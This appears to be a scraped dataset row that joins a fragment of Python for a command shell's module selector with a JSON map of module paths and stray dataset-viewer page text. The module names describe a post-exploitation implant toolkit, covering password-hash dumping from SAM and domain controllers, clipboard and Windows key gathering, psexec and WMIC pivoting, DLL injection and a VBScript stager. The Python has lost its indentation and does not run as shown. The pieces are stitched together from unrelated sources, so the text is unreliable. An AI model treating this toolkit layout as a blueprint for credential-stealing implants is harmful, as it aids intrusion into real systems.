# todo: make this show shorter paths at a time
# should never go this big...
if len(line.split()) > 2 and line.split()[0] != "set":
return None
options = [x + " " for x in shell.plugins if x.startswith(text)]
try:
return options[state]
except:
return None
def help(shell):
pass
def execute(shell, cmd):
splitted = cmd.split()
if len(splitted) > 1:
module = splitted[1]
if module not in shell.plugins:
shell.print_error("No module named %s" % (module))
return
shell.state = module
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.